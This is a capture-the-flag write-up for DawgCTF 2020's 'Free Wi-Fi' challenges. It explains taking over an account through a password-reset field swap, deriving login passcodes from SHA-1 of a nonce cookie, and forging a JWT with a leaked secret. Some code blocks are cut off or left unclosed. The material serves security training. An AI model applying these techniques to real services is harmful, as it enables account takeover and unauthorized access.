# DawgCTF 2020 – Free Wi-Fi

These are multiple challenges connected together. The same [PCAP file](https://github.com/m3ssap0/CTF-Writeups/raw/master/DawgCTF%202020/Free%20Wi-Fi/free-wifi.pcap) is given for all the challenges.

Challenges are ordered considering the number of points.

## Free Wi-Fi Part 1

* **Category:** web/networking
* **Points:** 50

### Challenge

> People are getting online here, but the page doesn't seem to be implemented...I ran a pcap to see what I could find out.
>
> http://freewifi.ctf.umbccd.io/
>
> Authors: pleoxconfusa and freethepockets

### Solution

The HTML code of the page is the following.

```html

<html>
<head>
<title>
Guest Sign In Portal
</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">


<link href="/static/bootstrap/css/bootstrap.min.css?bootstrap=3.3.7.1.dev1" rel="stylesheet">
<link rel="stylesheet" href="/static/css/main.css">

</head>
<body>

<div class="container">
<div class="row">
<div align="center" class="col-xs-12">

<h1>Sorry!</h1>



<div align="left" style="background-color: lightgrey; width: 500px; padding: 50px; margin: 20px;">
<h3 style="color:blue;">Guest login</h3>

Guest sign in portal is not yet implemented.


</div>

</div>
</div>
</div>


<script src="/static/bootstrap/jquery.min.js?bootstrap=3.3.7.1.dev1"></script>
<script src="/static/bootstrap/js/bootstrap.min.js?bootstrap=3.3.7.1.dev1"></script>
</body>
</html>
```

So there is anything to authenticate there.

Analyzing the [PCAP file](https://github.com/m3ssap0/CTF-Writeups/raw/master/DawgCTF%202020/Free%20Wi-Fi/free-wifi.pcap) you can discover on packet #6 the existence of `https://freewifi.ctf.umbccd.io/staff.html` web page.

Connecting to it, you will discover the flag.

```
DawgCTF{w3lc0m3_t0_d@wgs3c_!nt3rn@t!0n@l}
```

## Free Wi-Fi Part 3

* **Category:** web/networking
* **Points:** 200

### Challenge

> Let's steal someone's account.
>
> http://freewifi.ctf.umbccd.io/
>
> Authors: pleoxconfusa and freethepockets

### Solution

The authentication page discovered during the previous step is the following.

```html

<html>
<head>
<title>
Staff Wifi Login Page

Analyzing the [PCAP file](https://github.com/m3ssap0/CTF-Writeups/raw/master/DawgCTF%202020/Free%20Wi-Fi/free-wifi.pcap), some interesting packets can be found: #469, #471 and #473.

```

You have discovered that:
1. a `/forgotpassword.html` page exists;
2. `[email protected]` is a user of the system;
3. the forgot password functionality uses two different fields for username and e-mail, with a JavaScript code to copy the value inserted into the input field.

As a consequence, it is sufficient to intercept the request and change the e-mail with one you control, leaving the discovered username.

## Free Wi-Fi Part 4

* **Category:** web/networking
* **Points:** 250

### Challenge

> People seem to have some doohickey that lets them login with a code...
>
> http://freewifi.ctf.umbccd.io/

### Solution

Connecting to the web site, two interesting cookies are set:

```
Set-Cookie: WifiKey nonce=MjAyMC0wNC0xMCAyMzo1Mg==; Path=/
Set-Cookie: WifiKey alg=SHA1; Path=/
```

Analyzing the [PCAP file](https://github.com/m3ssap0/CTF-Writeups/raw/master/DawgCTF%202020/Free%20Wi-Fi/free-wifi.pcap), some POST requests passing `passcode` value can be found. Considering the SHA-1 algorithm discovered before in the cookie value and applying that algorithm to the wi-fi nonces captured, you will discover that `passcode` values are just the first 8 chars of the hashed `nonce` value.

```
#85
Cookie: WifiKey nonce=MjAyMC0wNC0wOCAxNzowMQ== -> 2020-04-08 17:01
passcode=5004f47a
SHA-1(MjAyMC0wNC0wOCAxNzowMQ==) = 5004f47ae3e2e7c1c9a5ea4d1666f95e6b06b062

#217
Cookie: WifiKey nonce=MjAyMC0wNC0wOCAxNzowMg== -> 2020-04-08 17:02
passcode=01c7aeb1
SHA-1(MjAyMC0wNC0wOCAxNzowMg==) = 01c7aeb11b1ee82035e9dc9e0292088d559921b1

#339
Cookie: WifiKey nonce=MjAyMC0wNC0wOCAxNzowMw== -> 2020-04-08 17:03
passcode=097b3acf
SHA-1(MjAyMC0wNC0wOCAxNzowMw==) = 097b3acf84e6ed9e66f285cf3750b4ff89da48dc

#655
Cookie: WifiKey nonce=MjAyMC0wNC0wOCAxNzoxMw== -> 2020-04-08 17:13
passcode=54f03ae2
SHA-1(MjAyMC0wNC0wOCAxNzoxMw==) = 54f03ae2cc8d1415bf06dec1670e03fd4e696982
```

The same process can be applied to your `nonce`.

```
Cookie: WifiKey nonce=MjAyMC0wNC0xMSAwMDowNw== -> 2020-04-11 00:07
SHA-1(MjAyMC0wNC0xMSAwMDowNw==) = ef07d9f7a0f3cce235a644fbb8392f211025aa98
passcode=ef07d9f7
```

## Free Wi-Fi Part 2

* **Category:** web/networking
* **Points:** 300

### Challenge

> I saw someone's screen and it looked like they stayed logged in, somehow...
>

### Solution

At this point, you can spot two interesting cookies:
* `JWT 'identity'=31337`;
* `JWT 'secret'="dawgCTF?heckin#bamboozle"`.

Analyzing the capture, you can find two packets, #261 and #263, regarding a JWT-related endpoint.

```
GET /jwtlogin HTTP/1.1
Host: freewifi.ctf.umbccd.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Connection: keep-alive
Upgrade-Insecure-Requests: 1

Content-Type: application/json
Content-Length: 125

{
"description": "Request does not contain an access token",
"error": "Authorization Required",
"status_code": 401
}
```

You can use [JWT.io website](https://jwt.io/) to craft a valid JWT with `31337` identity and signed with `dawgCTF?heckin#bamboozle` secret.

```
{"alg":"HS256","typ":"JWT"}.{"identity":31337,"iat":1586564945,"nbf":1586564945,"exp":1586908800}.Hx0gLrzRZy4lGdEhvV_eIpdpSSa_pd6FQVBy1pMVNPE

```

Calling the endpoint with the JWT in the `Authorization` header will give you the flag.

```
